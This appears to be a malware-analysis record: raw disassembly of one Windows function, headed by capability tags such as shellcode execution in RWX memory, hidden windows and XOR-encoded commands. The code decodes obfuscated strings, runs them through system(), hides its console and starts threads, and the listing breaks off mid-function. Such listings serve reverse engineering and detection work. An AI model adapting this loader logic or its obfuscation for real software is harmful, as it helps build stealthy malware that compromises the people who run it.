Function at 0x140034db0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute command
Execute shellcode via indirect call
Hide graphical window
Query service status
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x43d0
call fcn.1400e2fd0
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14011f060]
xor rax, rsp
mov qword [rbp + 0x4360], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c68], xmm0
lea rdx, [rsp + 0x43f8]
xor ebx, ebx
mov qword [rbp + 0x2c68], rbx
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x2c70], rcx
mov qword [rbp + 0x2c78], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rbp + 0x2c68], rax
mov qword [rdx], rbx
xor eax, eax
mov byte [rbp + 0x118], al
mov byte [rbp + 0x119], al
mov byte [rbp + 0x130], al
movabs rax, 0xe8bbf5d3a61c770
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a0], rax
movabs rax, 0xebd5c7c347705ba6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8a8], rax
movabs rax, 0xe0d7f665445556fd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8b0], rax
movabs rsi, 0x325eed30e2526ea8
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x8b8], rax
movabs r13, 0x69e2d9335502b719
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x42e0], rax
movabs r12, 0x8fbdb4b62b167486
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x42e8], rax
movabs r14, 0xe0d7f66544552593
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x42f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x42f8], rax
vmovdqu ymm0, ymmword [rbp + 0x8a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x42e0]
vmovdqa ymmword [rbp + 0x8a0], ymm1
lea rcx, [rbp + 0x8a0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x20], al
mov byte [rbp + 0x21], al
mov byte [rbp + 0x22], al
mov byte [rbp + 0x23], al
mov byte [rbp + 0x24], al
mov byte [rbp + 0x25], al
movabs rax, 0x69e2d9332171c24b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3860], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3868], rax
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x3860]
movdqa xmmword [rbp + 0x260], xmm0
movabs rax, 0xd8c8e4a216bd94c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x8fbdb4c5587718c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x3850]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x250]
call qword [sym.imp.USER32.dll_FindWindowA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140032180]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140030a90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x1400321d0]
lea rcx, [rbp + 0x1040]
call fcn.140041840
nop
lea rcx, [rbp + 0x1040]
call fcn.140011280
nop
cmp dword [rbp + 0x1048], ebx
je 0x140035095
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov byte [rbp + 0x26], al
mov byte [rbp + 0x27], al
mov byte [rbp + 0x28], al
mov byte [rbp + 0x29], al
mov byte [rbp + 0x2a], al
mov byte [rbp + 0x2b], al
lea ecx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rax, 0x69e2d9335502b76e
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x280], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x288], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3840], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
movdqa xmm0, xmmword [rbp + 0x280]
pxor xmm0, xmmword [rbp + 0x3840]
movdqa xmmword [rbp + 0x280], xmm0
movabs rax, 0x69c68d661a4cf85a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movdqa xmm0, xmmword [rbp + 0x290]
pxor xmm0, xmmword [rbp + 0x3830]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x290]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor eax, eax
mov byte [rbp + 0x2c], al
mov byte [rbp + 0x2d], al
mov byte [rbp + 0x2e], al
mov byte [rbp + 0x2f], al
mov byte [rbp + 0x30], al
mov byte [rbp + 0x31], al
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rax, 0x69e2d93355769c6b
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2a0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2a8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3820], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
pxor xmm0, xmmword [rbp + 0x3820]
movdqa xmmword [rbp + 0x2a0], xmm0
movabs rax, 0x69e2fd5d3c6cd87a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2b8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
pxor xmm0, xmmword [rbp + 0x3810]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor eax, eax
mov byte [rbp + 0x32], al
mov byte [rbp + 0x33], al
mov byte [rbp + 0x34], al
mov byte [rbp + 0x35], al
mov byte [rbp + 0x36], al
mov byte [rbp + 0x37], al
lea ecx, [rax + 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
movabs rdi, 0x69e2d93355769c6e
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x2c0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2c8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x3800], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
pxor xmm0, xmmword [rbp + 0x3800]
movdqa xmmword [rbp + 0x2c0], xmm0
movabs rbx, 0x69c6ad463a6cd87a
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
pxor xmm0, xmmword [rbp + 0x37f0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x2d0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
xor eax, eax
mov byte [rbp + 0x38], al
mov byte [rbp + 0x39], al
mov byte [rbp + 0x3a], al
mov byte [rbp + 0x3b], al
mov byte [rbp + 0x3c], al
mov byte [rbp + 0x3d], al
lea ecx, [rax + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x2e0], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x2e8], rcx
mov qword [rbp], r13
mov rcx, qword [rbp]
mov qword [rbp + 0x37e0], rcx
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
pxor xmm0, xmmword [rbp + 0x37e0]
movdqa xmmword [rbp + 0x2e0], xmm0
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3570], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3578], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
pxor xmm0, xmmword [rbp + 0x3570]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x2f0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov r9d, 2
mov r8b, 0xc3
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor eax, eax
mov byte [rbp + 0x3e], al
mov byte [rbp + 0x3f], al
mov byte [rbp + 0x40], al
movabs rax, 0x27ad9a131046f854
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c0], rax
movabs rax, 0xba8889e5675937a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8c8], rax
movabs rax, 0xd1eaa5200a1c69b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d0], rax
movabs rax, 0x325eed30e2526e9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8d8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x42c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x42c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x42d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x42d8], rax
vmovdqu ymm0, ymmword [rbp + 0x8c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x42c0]
vmovdqa ymmword [rbp + 0x8c0], ymm1
lea rcx, [rbp + 0x8c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ca0]
call fcn.14000a380
lea rcx, [rbp + 0x2ca0]
call fcn.1400079e0
nop
xor eax, eax
mov byte [rbp + 0x41], al
mov byte [rbp + 0x42], al
mov byte [rbp + 0x43], al
movabs rax, 0xc96a1762171c24b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e0], rax
movabs rax, 0xbb8f848447771af4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x8e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x8f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x8f8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x42a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x42a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x42b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x42b8], rax
vmovdqu ymm0, ymmword [rbp + 0x8e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x42a0]
vmovdqa ymmword [rbp + 0x8e0], ymm1
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x2cc0]
vzeroupper
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x44], al
mov byte [rbp + 0x45], al
mov byte [rbp + 0x46], al
movabs rax, 0x3e8eab4a2355e329
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0x8fbdb4b62b1605cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3580], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3588], rax
movdqa xmm0, xmmword [rbp + 0x300]
pxor xmm0, xmmword [rbp + 0x3580]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x2ce0]
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x47], al
mov byte [rbp + 0x48], al
mov byte [rbp + 0x49], al
movabs rax, 0xc83e8526d66d32c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1120], rax
movabs rax, 0xb8898384197517b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1128], rax
movabs rax, 0xd7e3935d736d43a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1130], rax
movabs rax, 0x26e8c06da615c9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1138], rax
movabs rax, 0x2bb5715c22ae293f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1140], rax
movabs rax, 0x4173d7ea6824f493
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1148], rax
movabs rax, 0x671789f929bad585
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1150], rax
movabs rax, 0x841bb534bd056ba9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1158], rax
movabs rcx, 0xa009b18b7dfd7e01
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1160], rax
movabs rdx, 0x6fae626ea115274e
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1168], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3d20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3d28], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3d30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3d38], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d40], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d48], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d50], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d58], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3d60], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3d68], rax
vmovdqu ymm0, ymmword [rbp + 0x1120]
vpxor ymm1, ymm0, ymmword [rbp + 0x3d20]
vmovdqa ymmword [rbp + 0x1120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1140]
vpxor ymm1, ymm0, ymmword [rbp + 0x3d40]
vmovdqa ymmword [rbp + 0x1140], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1160]
vpxor xmm0, xmm0, xmmword [rbp + 0x3d60]
vmovdqa xmmword [rbp + 0x1160], xmm0
lea rdx, [rbp + 0x1120]
lea rcx, [rbp + 0x2d00]
vzeroupper
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x4a], al
mov byte [rbp + 0x4b], al
mov byte [rbp + 0x4c], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x900], rax
movabs rax, 0xa1d5c0c34a6f11ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x908], rax
movabs rax, 0xcfbe86046b3b4ce4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x910], rax
movabs rax, 0x325eed30cd604099
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x918], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4280], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4288], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4290], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4298], rax
vmovdqu ymm0, ymmword [rbp + 0x900]
vpxor ymm1, ymm0, ymmword [rbp + 0x4280]
vmovdqa ymmword [rbp + 0x900], ymm1
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0x2d20]
vzeroupper
call fcn.140007250
nop
xor eax, eax
mov byte [rbp + 0x4d], al
mov byte [rbp + 0x4e], al
mov byte [rbp + 0x4f], al
movabs rax, 0x498cb043756ec46a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x920], rax
movabs rax, 0xfbcddb9e0b6f11ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x928], rax
movabs rax, 0xe0d7df09253b4afa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x930], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x938], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3f60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3f68], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3f70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3f78], rax
vmovdqu ymm0, ymmword [rbp + 0x920]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f60]
vmovdqa ymmword [rbp + 0x920], ymm1
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x2d40]
vzeroupper
call fcn.140007250
nop
lea rax, [rbp + 0x21c8]
mov qword [rbp], rax
lea rdx, [rbp + 0x2d40]
lea rcx, [rbp + 0x21c8]
call fcn.14000e430
mov r15, rax
lea rax, [rbp + 0x2528]
mov qword [rbp + 0x13c0], rax
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x2528]
call fcn.14000e430
mov r14, rax
lea rax, [rbp + 0x2208]
mov qword [rbp + 0x1050], rax
lea rdx, [0x1401284a0]
lea rcx, [rbp + 0x2208]
call fcn.14000e430
mov rsi, rax
lea rax, [rbp + 0x2228]
mov qword [rbp + 0x1060], rax
lea rdx, [rbp + 0x2d00]
lea rcx, [rbp + 0x2228]
call fcn.14000e430
mov rdi, rax
lea rax, [rbp + 0x2248]
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0x2ce0]
lea rcx, [rbp + 0x2248]
call fcn.14000e430
mov rbx, rax
lea rdx, [rbp + 0x2cc0]
lea rcx, [rbp + 0x2268]
call fcn.14000e430
nop
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.14002e810
nop
lea rcx, [rbp + 0x2ea0]
call fcn.140086f60
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 0x50], al
mov byte [rbp + 0x51], al
mov byte [rbp + 0x52], al
movabs rax, 0x1dcca0563e5e8d5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0x8fbdb4b62b1600fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x39e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x39e8], rax
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0x39e0]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x2d60]
call fcn.140007250
nop
lea rcx, [rbp + 0x2c48]
call fcn.14000a380
lea rcx, [rbp + 0x2c48]
call fcn.1400079e0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x3150]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x2d60]
lea rcx, [rbp + 0x3150]
call fcn.14003f320
nop
mov qword [rbp + 0x10], 0
mov word [rbp + 0x18], 1
mov rax, qword [rbp + 0x3150]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x3198]
mov qword [rbp + 0x120], rax
test rax, rax
sete byte [rbp + 0x128]
mov byte [rbp + 0x129], 0
movaps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x1060], xmm0
movaps xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x1050], xmm1
lea r9, [rbp + 0x53]
lea r8, [rbp + 0x1060]
lea rdx, [rbp + 0x1050]
lea rcx, [rbp + 0x2d80]
call fcn.140040670
nop
xor eax, eax
mov byte [rbp + 0x54], al
movzx r8d, al
lea rdx, [rbp + 0x2d80]
lea rcx, [0x140127090]
call fcn.14000e660
lea rcx, [rbp + 0x3150]
call fcn.14000e190
lea rdx, [0x140127090]
lea rcx, [rbp + 0x2288]
call fcn.14000e430
mov rdx, rax
lea rcx, [rbp + 0x2ea0]
call fcn.140087c60
movabs rsi, 0x73b5250f28a82922
movabs rcx, 0x72b2250a23ab2922
movabs rdx, 0x1470d5e63c24f592
movabs rbx, 0x8ab23ac4859ecc22
movabs rdi, 0xb04be2f219167531
movabs r8, 0x421bd8ee2fead5d7
movabs r9, 0xd27da653dc1e379b
movabs r10, 0xf743d6d418962839
movabs r11, 0x5ceb2527ed254f38
movabs r14, 0xa8adcee43512123b
movabs r15, 0x9dca6ee2f2a51c1e
cmp byte [rbp + 0x30e0], 0
jne 0x1400367be
lea rax, [rbp + 0x22a8]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 0x55], al
mov byte [rbp + 0x56], al
mov byte [rbp + 0x57], al
mov byte [rbp + 0x58], al
mov byte [rbp + 0x59], al
mov byte [rbp + 0x5a], al
mov byte [rbp + 0x5b], al
mov byte [rbp + 0x5c], al
mov byte [rbp + 0x5d], al
mov byte [rbp + 0x5e], al
mov byte [rbp + 0x5f], al
mov byte [rbp + 0x60], al
mov byte [rbp + 0x61], al
mov byte [rbp + 0x62], al
mov byte [rbp + 0x63], al
mov byte [rbp + 0x64], al
mov byte [rbp + 0x65], al
mov byte [rbp + 0x66], al
mov byte [rbp + 0x67], al
mov byte [rbp + 0x68], al
mov byte [rbp + 0x69], al
mov byte [rbp + 0x6a], al
mov byte [rbp + 0x6b], al
mov byte [rbp + 0xc], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf40], rax
movabs r12, 0xa1d9c6d948651de2
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xf48], rax
movabs r13, 0xcfbe86046b384af0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xf50], rax
movabs rax, 0x4135825f8a300bdf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf58], rax
movabs rax, 0x78b4200c29a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf60], rax
movabs rax, 0x1b7fd2e13027ff9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf68], rax
movabs rax, 0x3313f4ee23e6d9d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf70], rax
movabs rax, 0xd96d8b49e3061cab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf78], rax
movabs rax, 0xc156d2be2eb41834
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf80], rax
movabs rax, 0xade382af726101f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf88], rax
movabs rax, 0xdc8e38e9d39cda2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf90], rax
movabs rax, 0xd77d88fa2f324123
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf98], rax
movabs rax, 0x88a6f2c149120f16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfa0], rax
movabs rax, 0x94e50dcdf798092a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfa8], rax
movabs rax, 0x818fc43556cec199
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfb0], rax
movabs rax, 0x280804976705c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfb8], rax
movabs rdi, 0x69e2d9335502b719
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f80], rax
movabs rbx, 0x8fbdb4b62b167486
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3f88], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f90], rax
movabs rax, 0x325eed30e2526ea8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f98], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fa0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fa8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fb0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fb8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fc0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fc8], rax
movabs r14, 0xecd10dbde1fb935b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3fd0], rax
movabs r15, 0x8508d18860640c70
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3fd8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fe0], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3fe8], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ff0], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3ff8], rax
vmovdqu ymm0, ymmword [rbp + 0xf40]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f80]
vmovdqa ymmword [rbp + 0xf40], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3fa0]
vmovdqa ymmword [rbp + 0xf60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xf80]
vpxor ymm1, ymm0, ymmword [rbp + 0x3fc0]
vmovdqa ymmword [rbp + 0xf80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xfa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3fe0]
vmovdqa ymmword [rbp + 0xfa0], ymm1
lea rdx, [rbp + 0xf40]
lea rcx, [rbp + 0x22a8]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x150], rcx
